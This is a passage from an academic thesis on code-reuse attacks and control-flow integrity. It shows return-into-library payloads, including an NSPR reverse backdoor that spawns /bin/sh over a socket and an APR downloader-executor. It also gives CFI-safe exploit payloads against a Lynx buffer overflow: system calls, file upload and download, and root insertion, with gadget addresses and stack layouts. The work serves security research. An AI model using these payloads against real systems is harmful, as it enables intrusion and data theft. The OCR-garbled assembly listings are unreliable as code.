ditional function epilogues. It moves eax above the memory used by this gadget, freeing
that portion of the phantom stack for use by other gadgets.
We have implemented similar gadgets for all other system calls used by our payloads.
By executing these in sequence, any of the payloads described above can be implemented
using the ROP gadgets derived from the libc shared library. These gadgets are presented in
appendix A.
4.4.2 Return-into-LibN
While Return-into-Libc (RiL) attacks can, in principle, be performed against any library, it
is not clear whether there exist common, frequently linked libraries which actually possess
useful functions for implementing real-world malware payloads. These alternative sources
would be quite valuable in cases where libc is given special protection due to its ubiquity
and power with respect to system call operations.
To this end, the formal model treats libc as something of a special case: RiL attacks
require that useful functions are available from libc. In this section, we show that Return-
into-Libc attacks can in fact be performed against many other libraries. Specifically, the
Apache Portable Runtime (used by the Apache webserver), the Netscape Portable Runtime
(used by Firefox and Thunderbird), and the GLib application framework (used by programs
running in the GNOME desktop environment) possess sufficient 1/0 functions to implement
downloaders, uploaders, backdoors, and reverse backdoors.
We use the attacker model from Tran et al. [40], which allows the attacker to cause the
execution of functions of their choosing with arguments of their choosing, as long as those
functions are already present in the process address space. The attacker also has some
region of memory under his control and knows the addresses of memory in this region.
This could be an area of the stack above the payload itself or memory in a known writable
location, possibly allocated by one of the available library functions. The memory is used to
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PRNewTCPSocket (;
PR_NewTCPSocket ();
PRConnect(sock, &addr, NULL);
PRProcessAttrSetStdioRedirect (attr,PRStandardInput, sock);
PRProcessAttrSetStdioRedirect (attr,PRStandardOutput, sock);
PRProcessAttrSetStdioRedirect (attr,PRStandardError, sock);
PR_CreateProcess("/bin/sh", argv, NULL, attr);
Figure 4-8: Reverse Backdoor using NSPR
store data structures and arguments, as well as to maintain data persistence across function
calls.
NSPR NSPR is a libc-like library that does not have a generic system call interface.
However, it supports socket-based 1/0, file system operations, process spawning, and mem-
ory mapping and manipulation. These are sufficient to implement an uploader, downloader,
backdoor, and reverse backdoor in a straightforward way. The lack of any setuid-like func-
tion makes root-insertion impossible, but a root-inserter could easily be injected via one of
the other payloads. Figure 4-8 presents a reverse backdoor written in NSPR. All payloads
are written using NSPR version 4.9.
Note the large number (denoted with an ellipsis) of socket creations in Figure 4-8. This
is due to the unavailability of function return values in Return-into-Libc-like programming.
Any operation which is not a function (including variable assignment) cannot be used to
write a payload with this technique. As such, we must 'spray' the file descriptor space by
allocating many descriptors and then guess file descriptors using an immediate value. Note
that while NSPR uses a custom PRFileDesc socket descriptor, the structure's layout is
well documented, and the attacker can easily write the descriptor directly to a prepared
PRFileDesc object.
The only other complication when writing NSPR payloads is in how a new address
space is prepared when creating a shell for backdoors. There is no dup2 analogue that lets
the attacker bind standard streams to the new shell. Instead, process attributes specifying
redirected streams must be set before a new process is spawned. Upon process creation the
streams are set to the file descriptor of the socket, and the attack proceeds normally.
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apr-pool create(&pool, NULL);
apr-socket create(&sock, 2, 1, 0, pool);
apr-socket connect(sock, &addr);
aprsocket recv(sock, buf, bufsize);
apr-fileopen(&file, "badfile", Ox00006, 0777, pool);
aprfilewrite(file, buf, buf._size);
apr-proc create(&proc, "badfile", "badfile", 0, 0, pool);
Figure 4-9: Downloader using APR
APR APR also implements a libc-like functionality, but uses a function call convention
that makes many Return-into-Libc attacks much more reliable. Functions in APR return
status codes and write the result of the computation to a memory region specified by the
user. This eliminates (among other difficulties) the need for file descriptor spraying. Figure
4-9 depicts a downloader using APR function calls. All payloads use APR version 1.4.
The apr-poolicreate function is a library-specific memory allocator that must be
called at the start of any APR program. While a pool created by the compromised process
likely already exists, the attacker is unlikely to know where it is located in memory. The
remaining functions are fairly straightforward: a socket is opened, data is downloaded to a
file with execute permissions and that file is run. apr-proc-create is similar to a Unix
f ork, so the victim process will not be overwritten in memory by the payload.
APR function calls can be used to implement a downloader and an uploader. The library
does provide a dup2 analogue, but only allows redirection of streams to files and not to
sockets. This means that backdoors cannot be directly implemented. Privilege modification
is also unsupported, preventing root insertion. Since a downloader can be used to execute
arbitrary code, however, these two payloads suffice in practice.
4.4.3 Ihring Complete LibN
The previous defense bypass utilized simple, linear code. More advanced attacks which,
e.g. perform searches or other highly algorithmic routines may need a fully Turing com-
plete catalog of functions available for reuse. Tran et al. [40] show that libc is itself Turing
complete on the function level (i.e. enables Turing complete return-into-libc code).
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In this section, we show that many other libraries have Turing complete sets of func-
tions, enabling a larger corpus for creation of advanced Return-into-LibN payloads. Many
of the constructs proposed by Tran et al. [40] can be reapplied to other libraries: basic arith-
metic and memory manipulation functions are common. Their looping construct, however,
relied on a construct somewhat peculiar to libc: the long jmp function. Long jmp allows
user-defined values of the stack pointer to be set, permitting permutation of the 'instruction'
pointer in a code reuse attack.
The lack of a long jmp-like function outside of libc precludes modifying the stack
pointer to implement a jump. Without a branch instruction no looping constructs are pos-
sible and Turing completeness is unavailable. Fortunately, the 'text' segment of a code
reuse payload is writable, since it was after all injected as data into the stack or heap.
This enables an alternative approach using conditional self-modification. In combination
with conditional evaluation, this can be used to build a looping construct. Note that this
technique works even though WIDX is enabled because self-modification is applied to the
addresses which constitute the Return-into-LibN payload, not the program code.
We can use self-modification to create a straight-line instruction sequence semantically
equivalent to while (p (x) ) do {body}, where p (x) is a predicate on a variable x
and {body} is arbitrary code. The attacker is assumed to have the ability to do arith-
metic, to read and write to memory, and to conditionally evaluate a single function. These
capabilities are derivable from common functions, explained by Tran et al. [40].
We describe the mechanism in three stages of refinement: in a simplified execution
model, as a generic series of function invocations, and as an implementation using the
Apache Portable Runtime.
Using this environment, it is possible to build the the looping mechanism presented in
Figure 4-10. For readability each line is labeled. References to these labels should be sub-
stituted with the line they represent, e.g. Re s e t should be read as it er at e=' nop; ' ; .
iterate and suf f ix are strings in memory which hold the loop-related code and the
remaining program code, respectively; nop is the no-operation instruction that advances
the instruction pointer. The address [ip+l] represents the memory location immediately
following the address pointed to by the instruction pointer. The I operator denotes con-
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Reset : iterate='nop;';
Body : <body>;
Evaluate : If p(x): iterate='Reset;Body;
Evaluate;Self-Modify';
Self-Modify : [ip+1] = iteratelsuffix;
Figure 4-10: Self-Modifying While Loop
sprintf(stack, "%08x%08x%08x%08x%08x");
atomicadd(&stack, 32);
atomicadd(stack, offset);
sprintf (iterate, nop);
/* body */
conditional(test, sprintf(iterate, loopcode));
sprintf(stack, "%s%s", iterate, suffix);
Figure 4-11: Generic self-modifying Return-into-Libc while loop
catenation.
Each iteration, iterate is reset to be a nop instruction. The loop body is executed
and the predicate p (x) is checked. If it evaluates to true, iterate is set to the loop
instruction sequence. Finally, it er at e is concatenated with the remaining program code
and moved to the next memory address that will pointed at by the instruction pointer. Note
that if the predicate evaluates to true, the nop is replaced by another loop iteration. If the
predicate evaluates to false, iterate is unchanged and execution will proceed into the
suffix.
The basic self-modifying while loop can easily be converted to Retum-into-Libc code.
Figure 4-11 presents one such possible conversion. The implementation of this example
assumes is for a Linux call stack. A stack frame, from top to bottom, consists of parameters,
a return value, a saved frame pointer, and space for local variables. In the basic model the
attacker was aware of the value of ip at the end of the loop and could easily write code to
[ ip+ 1]. In real world scenarios, however, the attacker does not know the analogous esp
value a priori. Fortunately a number of techniques ([38, 41, 46]) exist to leak esp to the
attacker. We chose to use format string vulnerabilities. Note this is not a vulnerability per
se, as it is not already present in a victim process. It is simply function call made by the
attacker with side effects that are normally considered "unsafe". Since this is a code reuse
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attack, there is no reason to follow normal software engineering conventions.
The first line uses an 'unsafe' format string to dump the stack up to the saved frame
pointer (which in this example is five words above sprint f's local variables) to the
stack variable. Since the attacker crafted the payload, no guesswork is involved in de-
termining the number of bytes between sprint f's local variable region and the saved
frame pointer. In the second line the first four words in the dump are discarded, and in the
third the address of the stack pointer is calculated based on the offset of the saved frame
pointer from the stack pointer. Note that the resultant value of esp should point to the
stack frame which will be returned to after the last instruction in the figure, not the stack
frame which will be returned to after the function which is currently executing. Since the
attacker injected the payload onto the stack he will know the necessary offset.
The next three lines correspond to Reset; Body; Evaluate. iterate, nop,
loopcode, and suf f ix are all buffers in attacker-controlled memory. nop is any func-
tion call. loopcode is the sequence of instructions from Figure 4-11, and su f f ix is the
remaining payload code following loop execution. The final line copies the concatenation
of the instructions in it er at e and su f f ix to the program stack, overwriting the payload
from that point forward.
The generic attack executes in a Linux program stack but makes no assumptions about
the structure of the injected payload. When constructing a specific self-modifying gadget,
however, the payload structure must be fixed. We assume that the attacker has injected a
forged sequence of stack frames as a payload. The bottom-most frame (assuming stack
grows down) executes first, returns to the frame associated with the second function to be
called, etc. Parameters are included in the initial stack injection. An attack using only
functions from the Apache Portable Runtime is shown in Figure 4-12.
The attacker is assumed to have a blank key-value table already written to memory.
This is a simple, well-defined data structure, and requires no extra attacker capabilities.
The first line adds an entry to the table: the key is the condition to be matched (a string),
and the value is the stack frame sequence which implements the loop. The stack-locator
and Reset code is as described above.
The conditional evaluator, apr-table-do, works as follows. It first filters the ta-
45
apr-tableset (table, "matchstring", "loopcode");
apr snprintf(buf, 1024, "%08x%08x%08x%08x%08x");
apratomicadd32(&stack, 32);
apratomicadd32(stack, offset);
aprsnprintf(iterate, 100, "nop");
/* body */
aprtabledo (apr-snprintf, iterate, table, condition, NULL);
apr-snprintf(stack, 1024, iterate);
Figure 4-12: Self-modifying while loop in APR
ble by the condition string. Only entries whose keys are identical to this string are
retained. For all remaining keys, the function in the first argument to apr-table-do
is called on each entry. The function is passed three arguments: the second argument
to aprt abledo, the key for the current entry, and the value for the current entry. In
this case, apr-snprintf (iterate, "mask-string", "loopcode") is called
on the single entry only if condition matches mask-st ring via string comparison. If
so, it writes loopcode to it e r at e for a number of bytes up to the integer representation
of mask-st ring's address. Since this value is passed on the stack, the length limit will
be on the order of gigabytes. The value of it erat e is then written to the stack location
corresponding to the stack frame immediately above the last snprint f frame. Note that
the forged stack frames which constitute it erate must be automatically adjusted so that
saved ebp values and other stack-referential pointers are modified appropriately. This can
be done automatically via a mechanism similar to the format string trick.
4.5 Discussion
The complexity of the code reuse space and the large variety of assumptions and threat
models make it difficult to compare defenses or reason about the whole space. To solve
this, in this chapter, we constructed a model of the code reuse space where statements
about attacker assumptions and the defenses that prevent them are represented as proposi-
tional formulas. We used a SAT-solver to search the space for insecure configurations and
to generate ideas about where to look for new attacks or defenses. We used the model to an-
46
alyze the security of applications running with the security features available in an Ubuntu
Server and to suggest and construct several new classes of attacks: pure ROP payloads,
return-into-libn and Turing complete retum-into-libn. Our modeling technique can be used
in future work to formalize the process of threat model definition, analyze defense config-
urations, reason about composability and efficacy, and hypothesize about new attacks and
defenses.
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Chapter 5
Control Flow Integrity Enforcement
Attackers have bypassed many types of narrowly targeted ROP defenses. For example,
attackers have bypassed defenses such as shadow call stacks [36] and gadget elimination
[28] [26] (which prevent attackers from chaining gadgets together with ret instructions)
by overwriting indirect jump targets instead of return addresses [9] [6]. In response to these
attacks, control flow integrity (CFI) has been proposed as a comprehensive defense against
code reuse attacks, [37] [9] [6]. However, this claim has not been formally verified and the
overall effectiveness of CFI has not been demonstrated.
CFI systems attempt to limit the control flow of the program to only control transfers
that exist in the program when it is operating normally [2] [47]. These systems validate
return addresses and function pointers at runtime to prevent attackers from redirecting con-
trol to arbitrary addresses. Thus, attacks that hijack the control flow can only redirect the
control flow to a limited set of locations that have been explicitly allowed, rather than any
location in the address space.
As a result of theoretical and practical considerations, CFI systems allow a superset
of the actual, valid control transfers. Predicting the actual control graph is undecidable
because, for a program with no inputs and an exact control flow graph, the problem of
deciding whether the program will halt can be reformulated as deciding whether there is a
path between the start and a halt instruction, which is decidable, so an exact control flow
graph could be used to solve the halting problem. Given the fact that it is not possible to
predict the exact graph, to avoid false positives that would cause the program to crash in
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normal circumstances, control flow enforcement systems build an over-approximation of
the control flow graph which includes extra edges. In practice, many of the standard uses
of function pointers in C programs, such as callback functions and function dispatch tables,
create many extra edges in the over-approximation. The use of these, and other common
design patterns make it difficult for static analysis tools to accurately predict the targets
of indirect function calls, which in turn makes it difficult to accurately predict the set of
call sites for each return. Furthermore, existing CFI systems prioritize performance over
precise control flow enforcement. Depending on the implementation details of the system,
allowing extra edges in the enforced control graph helps minimize the number of extra
computations [2] or the memory overhead [47].
The extra edges allowed in the control flow graph give attackers extra degrees of free-
dom when attempting to create malware that works when CFI systems are deployed. An
attcker that has overwritten a return address or function pointer can use any of the allowed
targets of that control transfer as gadgets in a code reuse attack.
In this chapter, we investigate the control graphs enforced by two CFI systems. We rep-
resent programs as graphs, where nodes are blocks of code and edges are permitted control
transfers. We use an interactive graph search to find legal paths through the program. The
search takes into account paths that exist as a result of normal program flow as well as paths
that only exist when an attacker has control of the stack.
5.1 Existing CFI Systems
5.1.1 Compact Control Flow Integrity and Randomization
Zhang et al. propose a binary rewriter which they call Compact Control Flow Integrity and
Randomization (CCFIR) [47] where they enforce CFI using lookup tables (called Spring-
board sections) of valid targets. The Springboard sections are new sections in Windows
PE binaries which hold direct jumps to indirect transfer targets. To distinguish between
calls and returns, addresses for the entries holding call targets are 8 byte aligned but not
16 byte aligned and return targets are 16 byte aligned. In the original code, indirect calls
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and returns are rewritten to include checks which ensure that the target is located within
the appropriate region of the springboard section. For additional protection, CCFIR also
distinguishes between returns into sensitive functions and returns into normal functions.
Springboard section entries for returns into normal functions will have 0 in the 26th bit of
the address and 1 for returns into sensitive functions. The return address checks for func-
tions that are not called by the sensitive functions also ensure that the 26th bit of the return
address is 0.
Zhang et al. use a disassembler in conjunction with information from address relocation
tables included in PE binaries to identify call sites and indirect jump targets. Relocation
tables have entries for both code and data, so the disassembler uses recursive disassembly
to distinguish between pointers to code and data in the relocation tables and ensure that the
indirect jump targets in the Springboard sections only point to code.
5.1.2 Control Flow Integrity
Abadi et al. [2] propose a binary instrumentation system which uses identifier strings to
match control transfers and targets. Each transfer and valid target is tagged with a 32-bit
identifier. Right before each control transfer, the instrumentation code fetches the identifier
string from the target location and checks that it matches the identifer from the transfer
location.
Any transfers with overlapping sets of destinations are regarded as equivalent assigned
the same identifier. This means that a bad over-approximation of the call graph can create
even more extraneous edges than in other systems because transfers that would have been
distinct in a better approximation of the graph are merged. Abadi et al. do not provide
specific details about how they generate the call graph, so it is not clear how many distinct
identifiers typical programs have.
5.2 Control Flow Graph Model
The control flow through a function and the control flow between functions in a program
can both be represented as graphs [3]. These graphs can be combined into a supergraph
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which contains all of the possible control transfers in a program. The nodes in the graph
are the basic blocks from the function control flow graph, which are straight-line code
sequences with one entry point and one exit point. Calls and returns are represented by
additional edges in the graph. Figure 5-1 shows an example of a control flow supergraph
for a bubble sort function. The graph includes both the control flow within functions and
the function calls and returns. The pseudocode for the sort algorithm is as follows:
Function: sort(list,length):
while(!sorted(list, length))
i=0
while(i < length - 1)
if (list [ i] > list [i+1]
tmp = list[i]
list[i] = list[i+1]
list[i+i] = tmp
i++
return list
Function: sorted(list, length)
i = 0
while(i < length-1)
if(list[i] > list[i+1])
return false
return true
It is possible to create an approximation of this graph using static analysis techniques.
Traditional disassemblers [17] can identify code sections and determine the control flow
based on direct jumps, but identifying the targets of indirect jumps is undecidable. Some
systems use relocation tables [47] to identify all potential targets, but these tables will have
relocation entries for every function that is called with direct calls as well as indirect calls.
Data flow analysis tools [25] [24] can sometimes provide better approximations, but tech-
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Function:
sort( list, length): Function:
sorted( list, length):
while(!sorted(
list, length)) i 0
i =0
while(i< length -1)
-kwhile(i< length-1)
if (list[i] > list[i+1])
i(list[i] > list[i+1])
tmp = list[i] return false i++
list[i] = list[i+1]
list[i+i]= tmp
return true
return list
Figure 5-1: Control flow graph for sort
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niques which over-approximate rather than under-approximate (to avoid false positives)
still produce many excess edges.
We build a control flow graph with some modifications, which we combine with search
algorithms to model the potential paths that an attacker could take through the program.
The modifications take into consideration the fact that an attacker with control of the stack
can inject forged stack frames and modify return addresses. This requires considering
extra edges in the call graph because normally, program control flow analysis assumes that
programs follow normal calling conventions where functions only return to the line they
were called from and there is a one-to-one relationship between calls and returns. However,
when attackers are able to inject stack frames as part of their payload, this one-to-one
relationship does not always apply. When an attacker has overwritten a return address
and injected a stack frame, they can force the program to return to any valid return target,
which may lead to another return. This allows attackers to chain together multiple returns
in a row without making corresponding calls. The graph we build includes edges for all the
indirect transfers allowed by the CFI system we are investigating in addition to the edges
corresponding to direct transfers.
5.3 Interactive Search
We analyze the control flow supergraph using a depth-first search algorithm to determine
what code is reachable by an attacker who has found a buffer overflow vulnerability that
makes it possible to divert the program control flow and aid in building code reuse payloads
that work in the presence of CFI. Our search tool takes as input the location of the buffer
overflow as well as a list of gadgets (basic blocks from the program) to execute and outputs
a path through the program that executes each gadget while only following edges allowed
by the control flow enforcement system.
The resulting paths are a list of edges that are allowed by the CFI system that an attacker
can use to reach the gadgets they want to call. Figure 5-2 shows an example of one such
path. In this example, the attacker has overwritten a return address in one function, and
wants to call exe cv. The search follows valid return edges until it finds a gadget that calls
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Vulnerability:
Overwritten return
addressI
call sites for vulnerable function
gadgetcode gadgetcode gadget code
return return return
call sites for gadgets
gadget code
call execv
Cexecv
Figure 5-2: Search from a vulnerable function to a call of execv
execv.
5.3.1 Data Dependent Edges
Many of the edges in the graph will depend on the program state. Rather than perform data
flow analysis to determine which edges the attacker is able to traverse, the graph search will
initially assume that all the edges are valid. If it finds a path that is not actually possible
given the parts of the data that the user can control, the user is given the option to manually
delete edges and recalculate the paths. In the less likely scenario that an edge is missing,
users can also add edges and recalculate the paths. This interactivity ensures that the search
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will find the real paths despite the existence of paths that do not exist caused by using an
over-approximation of the control flow graph.
5.3.2 Edge Constraints
Our graph includes edges between returns and call sites as allowed by the deployed CFI.
However, it is not always possible to follow all of these edges. If the attacker has control of
the stack frame at the time the return is executed, then they can specify any valid return ad-
dress. On the other hand, if the return was reached via a normal function call and execution,
then the attacker does not have control of the return address, (because it was pushed onto
the stack after the payload was injected) and the return will necessarily go to the function
that called it. To facilitate tracking these constraints, call and return edges in the graph are
labelled with the type of edge and an identifier corresponding to the particular call/return
pair. As paths are built, the search maintains a list of the calls that have not been matched
with a return. When this list is not empty, the only return edge that the search can follow is
the one that matches the most recent call. This simulates the call stack that is created in the
program by the actual attack.
The presence of the call stack requires a modification to the cycle detection part of the
search algorithm. Normally, the path taken to arrive at a particular node does not affect
the paths that can lead from that node, so any path that visits the same node more than
once has a cycle and does not need to be explored further. In this case, the path taken to
a particular node does matter, because the call stack affects the return edges that can be
followed later. To account for this, instead of regarding a path as containing a cycle when
a node has been visited more than once, the cycle detection algorithm also checks the call
stack for repeated nodes. If the same node is visited twice and the call stacks are the same
or one call stack is a prefix of the other, the paths to that node are equivalent and the longer
one can be discarded; otherwise the paths are different and both are kept.
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Chapter 6
CFI-Safe Attacks
In this chapter, we demonstrate that the CFG enforced by the CFI system proposed by
Zhang et al. (called CCFIR) [47] is not restrictive enough to prevent actual attacks by
building several practical code reuse attacks (calling system, a file uploader and down-
loader and a root inserter) that only use control transfers allowed by their defense. The
payloads themselves are for Lynx, a text based browser, but the techniques we use to de-
velop them would be applicable to more applications. These techniques also potentially
apply to other CFI systems; CCFIR is chosen because it provides the most clear descrip-
tion of the enforced call graph.
6.1 Threat Model and Assumptions
We assume that the attacker knows about a vulnerability that allows them to write a payload
into memory and overwrite some control flow data (return address or function pointer). We
also assume that the attacker knows the content of the process address space. Although
some form of ASLR is deployed by default in most modern operating systems [4] [33], as
mentioned in 4.2, many attacks against randomization systems exist [37] [38] [35] which
allow attackers to collect the information they need about the address space. Finally, we
assume that a CFI system is deployed and it works as described: the stated control flow
graph is enforced, it is impossible to bypass the checks, and WeX memory is strictly
enforced.
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6.2 Test Platform
We develop our exploits for Lynx, version 2.8.5 [1], compiled with GCC version 4.6.1 and
run on Linux Mint 12. This version of Lynx has a buffer overflow vulnerability in the code
that processes newsgroup headers [16]. A function which adds extra escape characters to
handle kanji text uses a fixed size buffer on the stack which can overflow into the return
address.
6.3 System Investigated
Our payloads are based on the CFG enforced by Zhang et. al. [47]. We contacted the
developers of CCFIR and requested a copy of their implementation. They did not provide
one, so instead of testing the actual system, we infer the control flow graph enforced by a
CCFIR from the documentation and manually check that our payloads do not include any
edges that would not be allowed by CCFIR.
Specifically, we assume that functions can return to the instruction following any call
instruction and that function pointers can target any indirect branch target. Although their
paper does not describe in detail how they identify indirect branch targets, all of our pay-
loads use only targets that were verified in the source code as function pointer targets. Fur-
thermore, because the extent to which returns into linked libraries are distinct from returns
into the executable is not clear, our payloads only return into code from the executable.
6.4 Payload Development
While developing payloads, we treat the instructions following calls as the beginning of
gadgets, which can be chained together in a manner similar to chaining ROP gadgets. The
gadgets available in the presence of CFI consist of more instructions than the gadgets usu-
ally used in ROP attacks and some care needs to be taken to ensure that these extra in-
structions do not interfere with the attack. Often, the gadgets manipulate values stored on
the stack, either as part of operations that are useful for the payload or as side effects that
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0x0809140f <+215>: call 0x8084308 <stop-curses>
0x08091414 <+220>: mov -0x20(%ebp),%eax
0x08091417 <+223>: mov %eax, (%esp)
0x0809141a <+226>: call 0x8091536 <LYSystem>
Figure 6-1: Assembly code to call system from LYCopyFile
cannot be avoided. Thus, our injected stack frames include initialized values as necessary
for the variables that are used in the gadget. As a concrete example, the gadget we use in
the uploader payload to write data onto the socket has the following pseudocode:
if spostwanted
write to socket
Here, spostwanted is a value on the stack, which we initialize to true in the injected
stack frame.
6.5 Payloads
In this section, we describe our CFI-safe code reuse payloads. We implement a payload
which calls system with arbitrary arguments, an uploader, a downloader and a root in-
serter.
6.5.1 Call system
At a high level, this payload returns into the middle of a function (LYCopyFile) that calls
sy st em with arguments from the stack. Figure 6-1 shows the assembly code that is run by
the attack. The overwritten return address points to 0x 080 91414, which is a valid return
address because it is an instruction immediately following a function call. The arguments
to sy st em are copied to the bottom of the stack and then s y st em is called. Our exploit
overwrites the stack so that the argument to system is in the correct location and overwrites
the return address. Figure 6-2 shows how the stack frame for this payload is set up.
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"maliciousshellcommands;"
char* sysargs= location of system
args
call system(sysargs)
Return address: 0x08091414
(LYUtils.c:6967)
saved $ebp = &sysargs + Ox20
Figure 6-2: Payload to call sy st em
Code for a malicious NNTP server which injects and runs this payload is given in
Appendix B. The server is based on an example server given in the original bug report for
this vulnerability [16].
6.5.2 File Uploader and Downloader
The file uploader and downloader take advantage of the fact that the vulnerability we are
using occurs in the middle of downloading the list of messages from our malicious NNTP
server. With this vulnerability, Lynx has an open socket which is connected to our server
that it was using to download messages. The descriptor for this socket is stored in a global
variable that is used in all of the newsgroup processing code. Thus, we can implement our
payloads without opening a new socket.
Uploader
The uploader reuses the code that posts an article to a newsgroup. However, instead of
posting the temporary file that was generated by the user interface, it posts a file that was
specified by the payload. The uploader consists of two gadgets. The first gadget is the end
of a function (InternalPageFP) which returns an integer from the stack. This gadget
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Gadget 1:
0x08090e7e <+114>:
0x08090e81 <+117>:
Ox08090e82 <+118>:
mov
leave
ret
-Oxc(%ebp),%eax
Gadget 2:
0x08117580
0x08117881
0x08117885
0x08117899
0x081178a0
0x081178cl
0x081178c4
0x081178c7
<+8708>: mov
<+9477>: cmpb
<+9481>: jne
<+9501>: cmpl
<+9508>: je
<+9541>
<+9544>
<+9547>
mov
mov
call
%eax,-Oxic(%ebp)
$0x0, -0x34 (%ebp)
0x8117899 <HTLoadNews+9501>
$0x154, -Oxlc (%ebp)
Ox81178cl <HTLoadNews+9541>
-Ox2c(%ebp),%eax
%eax, (%esp)
0x8110d31 <post_article>
Figure 6-3: Assembly code for gadgets used by uploader
returns into the second gadget which is in the middle of the main newsgroup processing
loop after the c all in the following assembly code:
call 0x0810f97f <response>
mov eax, -Oxlc(ebp)
The return value from the first gadget is stored on the stack (as the local variable st atus)
as though it were the result of the call to response. The second gadget processes this
result and then calls postarticle with a char* which is stored on the stack (and
initialized by the injected stack frame to the name of the file that is being uploaded). Then,
post-article opens the file and uploads it to our NNTP server. Figure 6-3 gives the
relevant assembly code executed by the two gadgets. Figure 6-4 shows the injected stack
frame for the uploader.
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"filename"
postfile = address of filename string
spost wanted = 1
Return address = 0x08117580
(HTNews.c:2816)
Saved $ebp = &spost_wanted + 0x54
code = 340
Return address = 0x08090e7e
(LYUtils.c:2775)
Saved $ebp = &code + Oxc
am-
M-S
status = eax
if(status == 340 and spostwanted)
call postarticle(postfile)
return code;
Figure 6-4: Injected stack frame to upload a file. Pseudocode for the gadgets is given on
the right.
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Downloader
The downloader, which is implemented with three gadgets, reuses the code to download an
article from the server. The relevant assembly code from these gadgets is given in Figure 6-
5. The first gadget returns a pointer to a string containing the name of the file to write. This
value is used by the second gadget, which opens the file creates and returns an HTFWriter
object. The third gadget stores the result in the global variable rawtarget and then calls
read-art icle which reads the next article from the connected NNTP server (our server)
and copies the data to the file pointer in rawtarget. Figure 6-6 shows the stack frame
used by the downloader.
6.5.3 Root Inserter
To implement the root inserter, we modify the downloader payload to open the file in ap-
pend mode rather than write mode. To acheive this, we use the functions LYReopenTemp
and LYAppendToTextFile. LYReopenTemp calls LYAppendToTextFile and re-
turns the file pointer. We then replace the result from the call to f open from the down-
loader with the return value from LYReopenTemp. Figure 6-7 shows the new gadgets
used by the root inserter. Figure 6-8 shows the modified section of the stack frame from
the downloader. The root inserter requires root privileges to work.
6.6 Discussion
In this chapter, we demonstrated that the CFG enforced by CCFIR [47] is not restrictive
enough to prevent practical attacks. The fact that functions are allowed to return to the
instruction following any function call created a large number of useful gadgets for an
attacker with control of the stack. Every function call was the beginning of a new gadget,
and the gadgets could be chained together using the same techniques as ROP attacks. The
available gadgets were sufficient to construct practical code reuse payloads, even when we
used only code available in the Lynx executable (not linked libraries).
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Gadget 1:
Ox08090e7e <+114>:
0x08090e81 <+117>:
Ox08090e82 <+118>:
Gadget 2:
0x080e9cda <+42>:
0x080e9ce2 <+50>:
0x080e9ce4 <+52>:
0x080e9ce7 <+55>:
0x080e9cec <+60>:
OxO8Oe9cee <+62>:
0x080e9cf0 <+64>:
0x080e9cf2 <+66>:
0x080e9cf5 <+69>:
0x080e9cfa <+74>:
0x080e9cfc <+76>:
0x080e9cfe <+78>:
0x080e9d02 <+82>:
0x080e9d06 <+86>:
0x080e9d0a <+90>:
0x080e9d0d <+93>:
0x080e9d12 <+98>:
Ox080e9d18 <+104>:
0x080e9dla <+106>:
0x080e9dle <+110>:
0x080e9d22 <+114>:
0x080e9d25 <+117>:
0x0811791f <+9635>:
0x08117923 <+9639>:
0x081179c4 <+9800>:
0x081179cb <+9807>:
0x081179d2 <+9814>:
0x081179d7 <+9819>:
0x081179da <+9822>:
0x081179dd <+9825>:
mov
leave
ret
movi
mov
mov
call
test
mov
je
mov
call
test
je
mov
mov
mov
add
jmp
lea
xor
mov
mov
add
ret
cmpb
je
movb
movl
call
mov
mov
call
-Oxc (%ebp) , %eax
$0x81562ab,0x4(%esp)
%eax,%ebx
%eax, (%esp)
0x804a380 <fopen@plt>
%ebx,%ebx
%eax,%esi
Ox80e9cfa <HTFileSaveStream+74>
%ebx, (%esp)
0x8049e70 <free@plt>
%esi,%esi
Ox80e9d18 <HTFileSaveStream+104>
%esi,0x20(%esp)
0x14(%esp),%ebx
0x18(%esp),%esi
$Oxlc,%esp
0x80be294 <HTFWriternew>
OxO(%esi),%esi
%eax,%eax
0x14 (%esp) , %ebx
0x18 (%esp) , %esi
$Oxlc,%esp
%eax,0x81960a4
$OxO,-0x21(%ebp)
Ox81179c4 <HTLoadNews+9800>
$Oxl,0x818e104
$0x8160653, (%esp)
0x8057839 <HTProgress>
Oxc(%ebp),%eax
%eax, (%esp)
0x811118e <readarticle>
Figure 6-5: Assembly code for gadgets used by the downloader
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Gadget 3:
Ox081167d2 <+5206>: mov
listwanted = 0
groupwanted = 0
replywanted = 0
post_wanted = 0
sreplywanted = 0
spost wanted = 0
Return address= 0x081167d2
(HTNews.c:2521)
Saved $ebp = &spost wanted + 0x54
Return address = 0x080e9cda
(HTFile.c:1284)
Saved $ebp = $ebp +8
fname = "path tofile"
code = &fname
Return address = 0x08090e7e
(LYUtils.c:2775)
Saved $ebp = &code + Oxc
rawtarget = eax
if(! (post_wanted || replywanted |
spost wanted || sreplywanted
groupwanted || list-wanted))
readarticleO
localname = eax
fp = fopen(localname, 'w')
return HTFWriter-new(fp)
return code;
Figure 6-6: Injected stack frame to download a
the right.
file. Pseudocode for the gadgets is given on
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J
Gadget 1:
Ox0808fae0
0x0808fae3
0x0808fae6
0x0808faeb
0x0808faee
0x0808faf1
0x0808faf4
0x0808faf7
0x0808fafa
OxO808fafd
OxO808fafe
<+44>
<+47>
<+50>
<+55>
<+58>
<+61>
<+64>
<+67>
<+70>
<+73>
<+74>
mov
mov
call
mov
mov
mov
mov
mov
mov
leave
ret
0x8 (%ebp) , %eax
%eax, (%esp)
0x808f594 <LYAppendToTxtFile>
-Ox1D(%ebp),%edx
%eax,Oxc(%edx)
-Ox1D(%ebp),%eax
Oxc (%eax) , %eax
%eax, -Oxc (%ebp)
-Dxc(%ebp),%eax
Gadget 2:
Ox080e9cec
0x080e9cee
0x080e9cf0
0x080e9cf2
0x080e9cf5
0x080e9cfa
0x080e9cfc
0x080e9cfe
0x080e9d02
0x080e9d06
0x080e9d0a
0x080e9d0d
0x080e9d12
0x080e9d18
0x080e9dla
0x080e9dle
0x080e9d22
0x080e9d25
<+60>:
<+62>:
<+64>:
<+66>:
<+69>:
<+74>:
<+76>:
<+78>:
<+82>:
<+86>:
<+90>:
<+93>:
<+98>:
<+104>
<+106>
<+110>
<+114>
<+117>
test
mov
je
mov
call
test
je
mov
mov
mov
add
jmp
lea
xor
mov
mov
add
ret
%ebx,%ebx
%eax,%esi
Ox80e9cfa <HTFileSaveStream+74>
%ebx, (%esp)
0x8049e70 <free@plt>
%esi,%esi
Ox80e9d18 <HTFileSaveStream+104>
%esi,0x20(%esp)
0x14(%esp),%ebx
0x18(%esp),%esi
$0x1c,%esp
0x80be294 <HTFWriternew>
OxO(%esi),%esi
%eax,%eax
Ox14 (%esp) , %ebx
0x18(%esp),%esi
$Oxlc,%esp
